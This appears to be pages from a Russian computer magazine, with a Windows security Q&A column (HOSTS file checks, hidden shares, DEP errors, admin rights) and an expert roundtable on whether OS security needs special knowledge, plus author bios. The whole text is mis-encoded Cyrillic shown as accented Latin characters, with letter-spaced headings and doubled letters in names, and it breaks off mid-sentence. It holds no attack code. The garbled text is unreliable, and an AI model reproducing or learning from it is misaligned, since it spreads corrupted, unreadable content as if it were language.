« Ä È Ñ Ê  Ï Å Ð Å Ï Î Ë Í Å Í  È Ë È  Ç À Ù È Ù Å Í

Î Ò  Ç À Ï È Ñ È ,  Ë È Á Î  Ô À É Ë  Ç À Í ß Ò  

Ä Ð Ó Ã È Ì  Ï Ð È Ë Î Æ Å Í È Å Ì » .

Ðåêîìåíäóþ ïðîèçâîäèòü àíòèâèðóñíîå
ñêàíèðîâàíèå èç äðóãèõ îïåðàöèîííûõ ñèñ-

òåì. Â ýòîì ñëó÷àå ó âèðóñà íå áóäåò øàíñîâ ïðîòè-
âîäåéñòâîâàòü óäàëåíèþ åãî çàïóñêàåìûõ ìîäó-
ëåé, ññûëîê â ðååñòðå è òàê äàëåå. Îáû÷íî äëÿ ýòî-
ãî æåñòêèé äèñê ïîäêëþ÷àåòñÿ ê äðóãîìó, çàâåäîìî
áåçîïàñíîìó êîìïüþòåðó. Åñëè òàêîé âîçìîæíîñòè
íå èìååòñÿ, òî ìîæåøü èñïîëüçîâàòü îïåðàöèîí-
íóþ ñèñòåìó, çàãðóæàåìóþ ñ êîìïàêò-äèñêà è ïîä-
äåðæèâàþùóþ ôàéëîâóþ ñèñòåìó NTFS. Íàïðè-
ìåð Live CD Windows XP PE «Infr@ Cd 6.3». Îïèñà-
íèå è ññûëêè íà ISO-îáðàç íàõîäÿòñÿ ïî àäðåñó:
www.philka.ru/forum/index.php?showtopic=6879. Ñëåäóåò
çàðàíåå çàïèñàòü èìÿ ôàéëà âèðóñà è ïóòü ê ôàé-
ëó, ïîëó÷åííûå ïðè àíòèâèðóñíîì ñêàíèðîâàíèè,
à çàòåì óäàëèòü åãî, çàãðóçèâøèñü â âûøåóêàçàí-
íîé îïåðàöèîííîé ñèñòåìå.

Ï Å Ð Å Ñ Ò À Ë  Î Á Í Î Â Ë ß Ò Ü Ñ ß  

À Í Ò È Â È Ð Ó Ñ .  Ï Û Ò À Å Ò Ñ ß  Ñ Î Å Ä È Í È Ò Ü Ñ ß

Ñ Ñ Å Ð Â Å Ð Î Ì  Î Á Í Î Â Ë Å Í È É ,  

Í Î Ï Î Ò Î Ì  Â Û Ä À Å Ò  Î Ø È Á Ê Ó .  

Ñ È Í Ò Å Ð Í Å Ò Î Ì  Â Ñ Å  Â Ï Î Ð ß Ä Ê Å .

Ïðîâåðü ôàéë HOSTS, ðàñïîëîæåííûé ïî
àäðåñó: \Windows\System32\drivers\etc\hosts.

Íàçíà÷åíèå ýòîãî ôàéëà — ñîïîñòàâèòü èìÿ äîìå-
íà ñ IP-àäðåñîì áåç îáðàùåíèé ê ñåðâåðó DNS, ÷åì
ïîëüçóþòñÿ íåêîòîðûå âèðóñû, áëîêèðóÿ ïîëó÷å-
íèå íàñòîÿùåãî IP-àäðåñà àíòèâèðóñíûõ ñåðâåðîâ.

Â È Ä Å Ë ,  × Ò Î  Í Å Ê Î Ò Î Ð Û Å  

Ï Î Ë Ü Ç Î Â À Ò Å Ë È  Î Ò Ê Ë Þ × À Þ Ò  

Ï Ð È Â Û × Í Î Å  Î Ê Í Î  « W I N D O W S  X P :

Ï Ð È Â Å Ò Ñ Ò Â È Å »  È Ê À Æ Ä Û É  Ð À Ç  

Í À Æ È Ì À Þ Ò  C T R L + A L T + D E L ,  × Ò Î Á Û

Â Ð Ó × Í Ó Þ  Â Â Å Ñ Ò È  Ë Î Ã È Í  È  Ï À Ð Î Ë Ü .

Ç À × Å Ì  Ý Ò Î  Ä Å Ë À Å Ò Ñ ß ?  Ý Ò Î  Æ Å  Ò À Ê

Í Å Ó Ä Î Á Í Î !

Íàæàòèå CTRL+ALT+DEL ïîçâîëÿåò èçáå-
æàòü ïåðåõâàòà ïàðîëåé êëàâèàòóðíûìè

øïèîíàìè íà ýòàïå âõîäà â ñèñòåìó. Áîëå ïîäðîá-
íî ìîæåøü ïðî÷èòàòü ïî àäðåñó: www.academy.fsb.ru/-

icccs/1251/Proskurin2.htm. Ñêðûòèå èìåíè ïîëüçîâàòå-
ëÿ ïîçâîëÿåò èçáåæàòü ïîäáîðà ïàðîëÿ, òàê êàê ïðè
ýòîì àòàêóþùåìó äëÿ äîñòóïà ê ñèñòåìå íåîáõîäè-
ìî óçíàòü íå òîëüêî ïàðîëü, íî è ëîãèí. Îòêëþ÷èòü
îòîáðàæåíèå ïîñëåäíåãî ïîëüçîâàòåëÿ ìîæíî êàê
ñ ïîìîùüþ ãðóïïîâîé ïîëèòèêè (Ïàðàìåòðû áåçî-
ïàñíîñòè Ëîêàëüíûå ïîëèòèêè Ïàðàìåòðû áå-
çîïàñíîcòè Íå îòîáðàæàòü ïîñëåäíåãî èìåíè
ïîëü-çîâàòåëÿ â äèàëîãå âõîäà), òàê è ÷åðåç ðååñòð:

Êëþ÷: [HKEY_LOCAL_MACHINE\SOFTWARE\

Microsoft\Windows NT\CurrentVersion\

Winlogon]

Ïàðàìåòð: DontDisplayLastUserName

Òèï: REG_SZ

Çíà÷åíèå: (0 = îòêëþ÷åíî, 1 = âêëþ÷åíî)

Ê  Í Å Ê Î Ò Î Ð Û Ì  Ï À Ï Ê À Ì  Í À  Ñ Å Ð Â Å Ð Å

Ò Ð Å Á Ó Å Ò Ñ ß  Ä Î Ñ Ò Ó Ï  Ï Î  Ñ Å Ò È .  

Ï Ð Î Ñ Ì Î Ò Ð  Ñ Î Ä Å Ð Æ È Ì Î Ã Î  

Ñ Î Ò Ð Ó Ä Í È Ê À Ì È  Í Å Æ Å Ë À Ò Å Ë Å Í .  

Î Ã Ð À Í È × È Ò Ü  Ð À Ç Ð Å Ø Å Í È ß  Ï Ð À Â À Ì È

Ä Î Ñ Ò Ó Ï À  Í Å Ì Î Ã Ó ,  Ò À Ê  Ê À Ê  

Î Á Ð À Ù À Þ Ñ Ü  Ê  Ï À Ï Ê À Ì  Ñ Ð À Ç Í Û Õ

Ê Î Ì Ï Ü Þ Ò Å Ð Î Â  È Ç - Ï Î Ä  Ð À Ç Í Û Õ

Ó × Å Ò Í Û Õ  Ç À Ï È Ñ Å É .  Ê À Ê  Ï Î Ñ Ò Ó Ï È Ò Ü ?

Ïåðåèìåíóé îáùèå ïàïêè, äîáàâèâ â êîíåö
èìåíè ñèìâîë «$». Òàêèå ïàïêè íå âèäíû

ïðè ïðîñìîòðå îáùèõ ðåñóðñîâ. Äëÿ äîñòóïà ê ñî-
äåðæèìîìó íóæíî âáèâàòü ïîëíûé ïóòü ê íèì â àä-
ðåñíîé ñòðîêå.

Ñ Î Ò Ð Ó Ä Í È Ê  Ï Î Ñ Ò Î ß Í Í Î  Ç À Ï Ó Ñ Ê À Å Ò

Ê À Ê Ó Þ - Ò Î  È Ã Ð Ó Ø Ê Ó .  Ï Î È Ñ Ê  Í À  Å Ã Î

Ê Î Ì Ï Ü Þ Ò Å Ð Å  È  Í À  Ä Î Ñ Ò Ó Ï Í Û Õ  Å Ì Ó

Ñ Å Ò Å Â Û Õ  Ð Å Ñ Ó Ð Ñ À Õ  Í È × Å Ã Î  Í Å  Ä À Å Ò .

Â Å Ç Ä Å  Ò Î Ë Ü Ê Î  Î Ô È Ñ Í Û Å  Ä Î Ê Ó Ì Å Í -

Ò Û . Ç À Ï Ó Ñ Ê À Å Ì Û Õ  Ô À É Ë Î Â  Í Å Ò .  

Êîíñîëüíàÿ êîìàíäà «start» ïîçâîëÿåò çà-
ïóñêàòü ïðîãðàììû ñ ëþáûì ðàñøèðåíè-

åì, ëèáî âîîáùå áåç ðàñøèðåíèÿ. Ïðèìåð: «start
Ñ: Documents and Settings User>file.doc», ãäå
file.doc — ïåðåèìåíîâàííàÿ èãðà game.exe.

Â äàííîé ñèòóàöèè ñ ïîìîùüþ ãðóïïîâîé ïîëè-
òèêè ìîæíî íàçíà÷èòü çàïóñê òîëüêî îïðåäåëåííûõ
ïðîãðàìì: «gpedit.msc Êîíôèãóðàöèÿ ïîëüçîâàòå-
ëÿ Àäìèíèñòðàòèâíûå øàáëîíû Ñèñòåìà Âû-
ïîëíÿòü òîëüêî ðàçðåøåííûå ïðèëîæåíèÿ Windows».

Ï Ð Î Ã Ð À Ì Ì À  Â Û Ï Î Ë Í ß Å Ò Ñ ß  Ò Î Ë Ü Ê Î

Ñ Ï Ð À Â À Ì È  À Ä Ì È Í È Ñ Ò Ð À Ò Î Ð À .  

Ó Ñ Ò À Í Î Â Ê À  Ð À Ç Ð Å Ø Å Í È É  

Í À  È Ñ Ï Î Ë Ü Ç Ó Å Ì Û Å  Ê À Ò À Ë Î Ã È  

È  Â Å Ò Â È  Ð Å Å Ñ Ò Ð À  Í È × Å Ã Î  Í Å  Ä À Å Ò !

Â Windows îòäåëüíóþ ïðîãðàììó ìîæíî
çàïóñêàòü îò èìåíè äðóãîãî ïîëüçîâàòåëÿ.

Äëÿ ýòîãî ñëåäóåò, êëèêíóâ ïðàâîé êëàâèøåé ìû-
øè íà çíà÷êå ïðîãðàììû, âûáðàòü «Çàïóñê îò èìå-

íè», ââåñòè èìÿ ïîëüçîâàòåëÿ ñ ïðàâàìè àäìèíè-
ñòðàòîðà è ïàðîëü.

Åñëè ñîîáùàòü ïàðîëü àäìèíèñòðàòîðà ÷åëî-
âåêó, èñïîëüçóþùåìó ïðîãðàììó, íåæåëàòåëüíî, òî
ñëåäóåò âîñïîëüçîâàòüñÿ áåñïëàòíîé ïðîãðàììîé
AdmiLink. Ñàéò ïðîãðàììû: http://admilink.narod.ru.

Ï Ð È  Ç À Ï Ó Ñ Ê Å  Í Å Ê Î Ò Î Ð Û Õ  

Ï Ð Î Ã Ð À Ì Ì  Â Ä Ð Ó Ã  Ñ Ò À Ë Î  

Ï Î ß Â Ë ß Ò Ü Ñ ß  Î Ê Í Î  « Î Ø È Á Ê À :  

Ï À Ì ß Ò Ü  Í Å  Ì Î Æ Å Ò  Á Û Ò Ü  

Ï Ð Î × Ò Å Í À » .  Ñ × Å Ì  Ý Ò Î  Ñ Â ß Ç À Í Î ,  

È  Ê À Ê  Ñ Ý Ò È Ì  Á Î Ð Î Ò Ü Ñ ß ?

Ýòî ìîæåò áûòü ñâÿçàíî ñ ìíîæåñòâîì
ôàêòîðîâ. Åñëè ñîîáùåíèå ñòàëî ïîÿâ-

ëÿòüñÿ íåäàâíî, ïðè ýòîì íå ïðîèçâîäèëàñü ìîäåð-
íèçàöèÿ àïïàðàòíîãî îáåñïå÷åíèÿ, íå îáíîâëÿ-
ëèñü äðàéâåðà èëè ñàìà ïðîãðàììà, òî, ñêîðåå
âñåãî, â òâîåé ñèñòåìå îðóäóåò âèðóñ, à äàííîå ñî-
îáùåíèå ÿâëÿåòñÿ ðåçóëüòàòîì ðàáîòû âñòðîåííî-
ãî ìåõàíèçìà çàùèòû îò âèðóñîâ è ýêñïëîéòîâ —
DEP. Ñëåäóåò ïðîâåðèòü æåñòêèé äèñê, çàãðóçèâ
äðóãóþ îïåðàöèîííóþ ñèñòåìó, íàïðèìåð ïîäêëþ-
÷èâ åãî ê äðóãîìó êîìïüþòåðó. Ïîïûòêà óäàëåíèÿ
âèðóñîâ â òîé æå îïåðàöèîííîé ñèñòåìå, ñêîðåå
âñåãî, íå ïðèíåñåò æåëàåìîãî ðåçóëüòàòà, òàê êàê
áîëüøèíñòâî âèðóñîâ èìåþò ìåõàíèçì ïðîòèâî-
äåéñòâèÿ ñâîåìó óäàëåíèþ.

Åñëè âèðóñû íå áûëè îáíàðóæåíû, òî âîç-
ìîæíîé ïðè÷èíîé ìîæåò áûòü äîñòàòî÷íî ñûðàÿ
ðåàëèçàöèÿ Data Execution Prevention (DEP). Îòê-
ëþ÷èòü DEP ìîæíî êàê äëÿ êîíêðåòíîé ïðîãðàì-
ìû, òàê è äëÿ îïåðàöèîííîé ñèñòåìû â öåëîì. Áî-
ëåå ïîäðîáíóþ èíôîðìàöèþ ÷èòàé ïî àäðåñó:
http://support.microsoft.com/?kbid=875352.

Åñëè òâîé êîìïüþòåð ðàáîòàåò íà 64-áèòíîì
ïðîöåññîðå AMD Athlon, îñíàùåííîì àïïàðàòíîé
ïîääåðæêîé DEP, òî ïîïðîáóé óñòàíîâèòü äðàéâåð
ïðîöåññîðà, ñêà÷àâ åãî ñ îôèöèàëüíîãî ñàéòà:
www.amd.com.

Åñëè ïðîáëåìà òàê è íå èñ÷åçëà, ñîâåòóþ ïðî-
òåñòèðîâàòü êîìïüþòåð íà íàëè÷èå àïïàðàòíûõ
ñáîåâ èëè îáðàòèòüñÿ ê ðàçðàáîò÷èêó ïðîãðàììû.

Ä Ë ß  Ð À Á Î Ò Û  Ñ Î Ò Ð Ó Ä Í È Ê À  

Ò Ð Å Á Ó Þ Ò Ñ ß  Ï Ð À Â À  

À Ä Ì È Í È Ñ Ò Ð À Ò Î Ð À .  Î Ï À Ñ À Þ Ñ Ü ,  

× Ò Î  Ý Ò Î Ò  × Å Ë Î Â Å Ê  Ï Ð È

Ó Â Î Ë Ü Í Å Í È È  È Ç Ì Å Í È Ò  Ï À Ð Î Ë Ü

À Ä Ì È Í È Ñ Ò Ð À Ò Î Ð À ,  Í Å  Ñ Î Î Á Ù È Â

Ì Í Å .  Ï Ð È Ä Å Ò Ñ ß  Ï Î Ë Í Î Ñ Ò Ü Þ  

Ï Å Ð Å Ó Ñ Ò À Í À Â Ë È Â À Ò Ü  Î Ñ ,  

À Ý Ò Î  Ê Ð À É Í Å  Í Å Æ Å Ë À Ò Å Ë Ü Í Î .

Çàðàíåå ïîçàáîòüñÿ î ñîçäàíèè «äèñêåòû
ñáðîñà ïàðîëÿ» äëÿ äàííîãî êîìïüþòåðà.

Ñ ïîìîùüþ ýòîé äèñêåòû ìîæíî ñìåíèòü ïàðîëü
àäìèíèñòðàòîðà, äàæå íå èìåÿ âîçìîæíîñòè âõîäà
â ñèñòåìó. Áîëåå ïîäðîáíàÿ èíôîðìàöèÿ íàõîäèò-
ñÿ â ñïðàâêå Windows
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ÀÍÀÒÎËÈÉ
ÑÊÎÁËÎÂ

Ïîñëåäíèå 17 ëåò —
ñèñòåìíûé ïðîãðàììèñò,
àíàëèòèê. Ðàáîòàåò äîìà
íà ñåáÿ èëè íà
çàêàç÷èêîâ.
Èç èçâåñòíîãî — ÿäðî
Outpost Personal Firewall,
ìîäåì Russian Courier.
Ïðîôåññèîíàëüíûå
èíòåðåñû — áåçîïàñíîñòü,
òåëåôîíèÿ, èíòåðíåò è ò.ä.

Â Ñ Å  Ë È  Ä Å Ë Î  Â  « Ê Ð È Â Û Õ  Ð Ó Ê À Õ » ?

Â Å Ä Ü  Ä Û Ð Ê È  Î Ï Å Ð À Ö È Î Í Ê È

Á Å Ç Ñ Ï Å Ö È À Ë Ü Í Û Õ  Ç Í À Í È É

Í Å Ç À Ê Ð Û Ò Ü .  Ï Î Ë Ó × À Å Ò Ñ ß ,

× Ò Î Á Å Ç Î Ï À Ñ Í Î Ñ Ò Ü —

Ä Ë ß È Ç Á Ð À Í Í Û Õ ?

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: ×òîáû ñêà÷àòü çàïëàòêó, óìà íå òðåáóåòñÿ, òåì áîëåå
÷òî XP ïîääåðæèâàåò àâòîìàòè÷åñêîå îáíîâëåíèå (ñêîëüêî îíî ñúåñò òðàôè-
êà — äðóãîé âîïðîñ, ê äåëó íå îòíîñÿùèéñÿ). Õóæå âñåãî òî, ÷òî, ïðè ðó÷íîé
óñòàíîâêå çàïëàòîê íà îäèí è òîò æå ôàéë, ïðîâåðêà âåðñèé íå âûïîëíÿåòñÿ,
è ñòàðûå çàïëàòêè çàìåùàþò íîâûå. Íî ýòî òîëüêî ïðè ðó÷íîé óñòàíîâêå,
ãëàâíûì ïðåèìóùåñòâîì êîòîðîé ÿâëÿåòñÿ òî, ÷òî òû ìîæåøü îáíîâèòü
êîìïüþòåð äî ïåðâîãî âûõîäà â Ñåòü.

Âîò òèïè÷íàÿ ñèòóàöèÿ. Óñòàíîâèë òû «÷èñòóþ» XP/Vista è âûøåë â Ñåòü,
÷òîáû, òèïà, îáíîâèòñÿ. À âåäü îáíîâëåíèå òðåáóåò âðåìåíè, è íåìàëîãî. Âå-
ðîÿòíîñòü áûòü àòàêîâàííûì â ïðîöåññå îáíîâëåíèÿ äîñòàòî÷íî âåëèêà —
ýòî ñâîåîáðàçíàÿ ðàñïëàòà çà èñïîëüçîâàíèå ïðîäóêòîâ îò MS.
ÀÍÀÒÎËÈÉ ÑÑÊÎÁËÎÂ: Âñå äûðêè OS íå çàêðûòü â ïðèíöèïå. ×òî ïðè íàëè-
÷èè ñïåöèàëüíûõ çíàíèé, ÷òî áåç íèõ. Ìîæíî çàêðûòü ×ÀÑÒÜ äûðîê. Ñêîëüêî
áû ñïîñîáîâ çàêðûòèÿ äûð íè çíàë ñïåöèàëèñò, õàêåð âñåãäà çíàåò íà îäíó
äûðó áîëüøå. Áåçîïàñíîñòü îáåñïå÷èâàåòñÿ ìèíèìàëüíûìè çíàíèÿìè, ïëþñ
âûïîëíåíèåì òðåáîâàíèé êîìïüþòåðíîé «ãèãèåíû». Äîïîëíèòåëüíûå çíàíèÿ
ïîëåçíû, ÷òîáû èãíîðèðîâàòü «ãèãèåíó».
ÌÈÕÀÈË ÔÔËÅÍÎÂ: Íåëüçÿ ãîâîðèòü, ÷òî äåëî èìåííî â êðèâèçíå ðóê. Äåëî
â òîì, ÷òî î÷åíü ÷àñòî íà áåçîïàñíîñòü âëèÿåò ÷åëîâå÷åñêèé ôàêòîð. ÌîæíîS
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ÌÈÕÀÈË
ÔËÅÍÎÂ

Âíåøòàòíûé àâòîð
Õ ïî÷òè ñ ñàìîãî
ðîæäåíèÿ æóðíàëà,
ñîçäàòåëü ñàéòà
www.vr-online.ru, àâòîð
11 êíèã íà ðóññêîì
è 4 íà àíãëèéñêîì ÿçûêå.

ÊÐÈÑ
ÊÀÑÏÅÐÑÊÈ

Èçâåñòåí åùå êàê ìûùúõ.
Êîìïüþòåðû ãðûçåò åùå
ñ òåõ âðåìåí, êîãäà
Ïðàâåö-8Ä ñ÷èòàëñÿ
êðóòîé ìàøèíîé,
à äèñêîâîä ñ ìîíèòîðîì
áûëè âåðõîì ìå÷òàíèé.
Îñâîèë êó÷ó ÿçûêîâ
è îïåðàöèîííûõ ñèñòåì,
èç êîòîðûõ ðåàëüíî
èñïîëüçóåò W2K, à ëþáèò
FreeBSD 4.5. Æèâåò
â íîðå, îêðóæåííîé
ïî ïåðèìåòðó
êîìïüþòåðàìè
è ñòåëëàæàìè
ñ ëèòåðàòóðîé.

ÊÈÐÈËË
«ÂÈÑÅËÜÍÈÊ»

ÁËÀÆÅÍÍÎÂ

Ñòóäåíò-ïàðòíåð
Microsoft èç Âîëãîãðàäà, 
ðàçðàáîò÷èê ÏÎ 
è ñêàëîëàç-ëþáèòåëü.

ÌÈÕÀÈË ÔÈØÌÀÍ 
AKA _MIF_

Ýêñïåðò â îáëàñòè
èíôîðìàöèîííîé
áåçîïàñíîñòè, security-
àíàëèòèê. Ðàíüøå
ðàáîòàë íà êîðïîðàöèþ
Comverse. Ñ îñîáîé
ñèìïàòèåé îòíîñèòñÿ
ê BSD-ñèñòåìàì,
èíòåëëåêòóàëüíûì èãðàì
è õîëîäíîìó ïèâó.
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ÂËÀÄÈÌÈÐ
ÊÎÌÈÑÑÀÐÎÂ

Íà÷àëüíèê IT-îòäåëà
îäíîé èç êðóïíûõ
êîìïàíèé.

ÂÀËÅÐÈß
ÊÎÌÈÑÑÀÐÎÂÀ

×àñòî ïèøåò íà ñàéò
æóðíàëà «Õàêåð». Â 2005
ãîäó áûëè íàïå÷àòàíû
ñòàòüè â ñàìîì æóðíàëå,
â ýòîì æå ãîäó ïîëó÷èëà
ñòàòóñ Microsoft Student
Partner. Èìååò ñåðòèôèêàòû
ñïåöèàëèñòà Microsoft
è ðàçðàáîò÷èêà
ïðèëîæåíèé íà C#
ïîä .NET.

âñå ïðåêðàñíî çíàòü è ïîíèìàòü, íî äîïóñòèòü áàíàëüíóþ îøèáêó. Ëþäè — íå ìàøèíû, è îíè ìîãóò îøè-
áàòüñÿ. Ïî ïîâîäó èçáðàííûõ — òîæå ïðåóâåëè÷åíèå. ß áû ñêàçàë, ÷òî áåçîïàñíîñòü — ýòî óäåë òåõ, êòî
çíàåò, è òåõ, êòî õî÷åò çíàòü. Ïî÷åìó èìåííî õî÷åò? ÈÒ ðàçâèâàåòñÿ î÷åíü áûñòðî, è íåîáõîäèìî õîòåòü
îòñëåæèâàòü íîâèíêè, ïîñòîÿííî ðàçâèâàòüñÿ è èçó÷àòü.
ÊÈÐÈËË ÁÁËÀÆÅÍÍÎÂ: Ñòàðûé àíåêäîò: ïðîãðàììèñò ïðîèãðàë êîìïüþòåðó â øàõìàòû è â ñåðäöàõ
ëóïèò ïî êëàâèàòóðå: «Îïÿòü âèíäà ãëþ÷èò!». 

Äà, äûðêè îïåðàöèîíêè áåç ñïåöèàëüíûõ çíàíèé íå çàêðûòü. À ìàøèíó ïî÷èíèòü áåç ñïåöèàëüíûõ
çíàíèé ñëàáî? À êðåäèò áåç ïîäãîòîâêè îôîðìèòü? Èçáðàííûå ëè ýòèì çàíèìàþòñÿ? Îòíþäü íåò. Çà ïðè-
îáðåòàåìûå óäîáñòâà ïðèõîäèòñÿ ðàñïëà÷èâàòüñÿ: ëèáî äåíüãàìè, ïîêóïàÿ êîìïåòåíòíîñòü ÷óæóþ , ëèáî
ñâîèì ñâîáîäíûì âðåìåíåì, ïîäíèìàÿ êîìïåòåíòíîñòü ñâîþ. Âîïðîñ â òîì, ÷òî òû õî÷åøü ïîòðàòèòü. 

Ïðåñëîâóòûå «êðèâûå ðóêè» ïîðîæäàþò íà ñâåò äî 90% âñåõ îøèáîê è ÿâëÿþòñÿ îäíîé èç ñàìûõ
îïàñíûõ äûð â ÷åëîâåêî-ìàøèííîé ñèñòåìå. Ëþáîé ïîëüçîâàòåëü âïîëíå â ñîñòîÿíèè òåì èëè èíûì ñïî-
ñîáîì îáåñïå÷èòü ïðèåìëåìóþ áåçîïàñíîñòü äëÿ êëèåíòñêîé (äîìàøíåé) ìàøèíû: ðàçîáðàòüñÿ ñàì,
ïîçâàòü çíàêîìîãî è ò.ä. Òîëüêî âîò âàæíîñòü ýòîãî âîïðîñà ñèëüíî íåäîîöåíèâàåòñÿ, ïîêà íå ïðèäåò
ñ÷åò çà «ëåâûé» òðàôèê èëè íå ðóõíåò âèí÷åñòåð.
ÌÈÕÀÈË ÔÔÈØÌÀÍ: Òóò âàæíî ðàçäåëÿòü áåçîïàñíîñòü äîìàøíåé è ñåðâåðíîé ìàøèíû. Â ñëó÷àå,
åñëè ýòî îáû÷íûé ïîëüçîâàòåëü äîìàøíåãî ÏÊ, òî îñíîâíóþ çàáîòó î åãî áåçîïàñíîñòè áåðåò íà ñåáÿ
Microsoft. Îò ïîëüçîâàòåëÿ òðåáóåòñÿ ëèøü ñîáëþäàòü îñíîâíûå ìåðû áåçîïàñíîñòè è ñâîåâðåìåííî
îáíîâëÿòü ñâîþ îïåðàöèîííóþ ñèñòåìó è ñîôò äëÿ çàùèòû. Â ñëó÷àå, êîãäà ðå÷ü èäåò î ñåðâåðàõ (íå-
âàæíî, êàêàÿ ÎÑ) — áåçîïàñíîñòü äîëæíà, âíå âñÿêîãî ñîìíåíèÿ, îáåñïå÷èâàòüñÿ êâàëèôèöèðîâàí-
íûì ñïåöèàëèñòîì. 

Îáû÷íîìó ïîëüçîâàòåëþ íå òðåáóåòñÿ «ïðÿìûõ ðóê» â ïëàíå çàùèòû ñâîåé ÎÑ. Â êîíöå êîíöîâ,
÷àñòî ÷åëîâåê ïîëüçóåòñÿ êîìïüþòåðîì òîëüêî êàê ðàáî÷èì èíñòðóìåíòîì, è åìó ñîâåðøåííî íå âàæ-
íî, ÷òî è êàê â íåì óñòðîåíî è êàê åãî çàùèùàòü. Ñèñòåìà Windows ðàçðàáîòàíà, â òîì ÷èñëå, è íà òåõ-
íè÷åñêè íåãðàìîòíîãî ïîëüçîâàòåëÿ. Åå çàäà÷åé ÿâëÿåòñÿ îáåñïå÷åíèå íîðìàëüíîé ðàáîòû ïîëüçîâà-
òåëÿ ñ ëþáûì óðîâíåì êîìïüþòåðíûõ çíàíèé. À òî, ÷òî Windows ïëîõî ñïðàâëÿåòñÿ ñ ýòîé çàäà÷åé, ýòî
óæå äðóãîé âîïðîñ.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Áåçîïàñíîñòü — äëÿ ðàçáèðàþùèõñÿ, ñêàæåì òàê. Ýòî êàê ñîâåòñêèé àâ-
òîïðîì — êóïèë ìàøèíó è äîðàáîòàë íà ïîëîâèíó ñòîèìîñòè. Òàê æå è ìàñòäàé. Ê ñîæàëåíèþ, ýòî ôàêò.
ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Âî-ïåðâûõ, íåçàâèñèìî îò óðîâíÿ çíàíèé è óìåíèé ïîëüçîâàòåëÿ, ÏÎ
äîëæíî «äåëàòü ñâîå äåëî». Äëÿ îáû÷íûõ ïîëüçîâàòåëåé — ìàêñèìàëüíî âîçìîæíûé óðîâåíü áåçî-
ïàñíîñòè ïðÿìî «èç êîðîáêè», à äëÿ «ïðîäâèíóòûõ» ïîëüçîâàòåëåé — âîçìîæíî, ìåíüøèé îáúåì íåîá-
õîäèìûõ íàñòðîåê ñèñòåìû, íî â òî æå âðåìÿ ïðåäîñòàâëåíèå ñâîáîäû äëÿ èçìåíåíèÿ âñåõ íóæíûõ
íàñòðîåê. Áîëüøàÿ ïðîòèâîðå÷èâîñòü ýòèõ òðåáîâàíèé î÷åâèäíà. Ïîýòîìó íå ñóùåñòâóåò òàêîãî èäå-
àëüíîãî ÏÎ, â ðàâíîé ìåðå ïîäõîäÿùåãî è îáû÷íûì, è «ïðîäâèíóòûì» ïîëüçîâàòåëÿì. È âûáîð
ÎÑ (è âîîáùå ëþáîãî ÏÎ) äîëæåí ïðîèçâîäèòüñÿ èñõîäÿ èç àäåêâàòíîé îöåíêè ñâîèõ çíàíèé è âîç-
ìîæíîñòåé. Äåëî íå òîëüêî â «êðèâûõ ðóêàõ» — äåëî åùå è â àäåêâàòíîì ïîäáîðå ÏÎ äëÿ êàæäîé çà-
äà÷è. Ñ ïðàâèëüíî ïîäîáðàííûì ÏÎ ó ëþáîãî ïîëüçîâàòåëÿ áóäåò âîçìîæíîñòü ñîçäàòü îêðóæåíèå
ñ äîñòàòî÷íûì óðîâíåì áåçîïàñíîñòè.
ÇÀÐÀÇÀ: Êàê ïðàâèëî, äåëî íå â «êðèâûõ ðóêàõ», à â «àâîñü», â íåäîñòàòêå çíàíèé è äîìèíèðîâàíèè
óäîáñòâà íàä áåçîïàñíîñòüþ. Òî, ÷òî íåëüçÿ çàêðûòü «äûðû» â îïåðàöèîíêå áåç ñïåöèàëüíûõ çíàíèé, çà-
âåäîìî íåâåðíî. Windows XP SP1 è âûøå ïî óìîë÷àíèþ âêëþ÷àåò îáíîâëåíèÿ. Äëÿ áîëüøåé ÷àñòè äèñò-
ðèáóòèâîâ Linux îáíîâëåíèå òàê æå âîçìîæíî â àâòîìàòè÷åñêîì ðåæèìå, è ïðè óñòàíîâêå ñèñòåìà ïðåä-
ëàãàåò òàêóþ îïöèþ.
ÍÈÊÎËÀÉ ÀÀÍÄÐÅÅÂ: «Äûðêà â îïåðàöèîíêå» — ïîíÿòèå ðàñòÿæèìîå. Áîëüøèíñòâî óÿçâèìîñòåé
Windows, áëàãîäàðÿ êîòîðûì íà êîìïüþòåð ïîïàäàþò âðåäîíîñíûå ïðîãðàììû (âñÿ÷åñêèå òðîÿíû), íà-
õîäÿòñÿ íå â ñàìîé ÎÑ, à â áðàóçåðå, ïîñòàâëÿþùèìñÿ âìåñòå ñ íåé. Îáåçîïàñèòü áðàóçåð — äåëî íåõèò-
ðîå. ×òîáû ÷óâñòâîâàòü ñåáÿ ñïîêîéíî, ïîðîé äîñòàòî÷íî ïðîñòî ñîçäàòü â Windows ïîëüçîâàòåëÿ ñ îãðà-
íè÷åííûìè ïðàâàìè (÷òîáû îí íå ìîã ïèñàòü â ñèñòåìíûå äèðåêòîðèè è ò.ï.) è çàïóñêàòü áðàóçåð ñ åãî ó÷åò-
íîé çàïèñè (Run As). Ñ òàêîé ñèñòåìîé íèêàêèå ñòðàøíûå 0day-ýêñïëîéòû äëÿ Internet Explorer'à íå ñòðàø-
íû. È íèêàêèõ ñïåöèàëüíûõ çíàíèé. Äûðêè íåïîñðåäñòâåííî â ÿäðå îïåðàöèîííîé ñèñòåìû, à íå â ïðèê-
ëàäíûõ ïðèëîæåíèÿõ — êóäà áîëåå ðåäêàÿ øòóêà. Õîòÿ è ñ íèìè ìîæíî æèòü ñïîêîéíî. ß âîò â Ñåòü ÷åðåç
VPN âûõîæó. Ó ìåíÿ íåò âíåøíåãî IP, è êî ìíå íèêòî íå ìîæåò ïîäñîåäèíèòüñÿ è êàê-òî ïðîâçàèìîäåé-
ñòâîâàòü ñ äûðêàìè ìîåé ÎÑ. Áåçîïàñíîñòü — íå äëÿ èçáðàííûõ, à äëÿ òåõ, êòî î íåé äóìàåò.

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Æäó î÷åðåäíûõ ìàðàçìîâ îò MS, âãîíÿþùèõ ìåíÿ â äåïðåññèþ. Ãëÿäÿ íà êîòî-
ðûå, íå õî÷åòñÿ æèòü. Äåëî äàæå íå â ñèñòåìíûõ òðåáîâàíèÿõ, à â òîì, ÷òî êòî-òî ðåøàåò çà ìåíÿ, ÷òî
ìíå íóæíî, à ÷òî — íåò. Íàïðèìåð, â XP èñ÷åç «óçîð», êîòîðûì ÿ ïîëüçóþñü âìåñòî îáîåâ. È õîòÿ åãî
